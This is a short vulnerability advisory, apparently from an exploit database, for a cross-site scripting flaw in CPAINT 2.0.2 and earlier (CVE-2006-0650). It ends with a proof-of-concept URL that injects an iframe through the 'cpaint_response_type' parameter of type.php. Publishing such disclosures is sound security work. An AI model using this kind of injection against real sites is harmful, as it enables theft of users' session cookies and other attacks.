CPAINT 1.3/2.0.2 - 'TYPE.php' Cross-Site Scripting

Author: GulfTech Security
type: webapps
platform: php
port: 
date_added: 2006-02-08 
date_updated: 2018-01-05 
verified: 1 
codes: CVE-2006-0650;OSVDB-22979;BID: 16559;GTSA-00089 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/16559/info

CPAINT is prone to a cross-site scripting vulnerability.

This issue affects the 'type.php' script and may facilitate the theft of cookie-based authentication credentials as well as other attacks.


CPAINT 2.0.2 and prior versions are affected.

http://www.example.com/examples/type/type.php?cpaint_response_type=%3Ciframe%20src=http://www.gulftech.org/%3E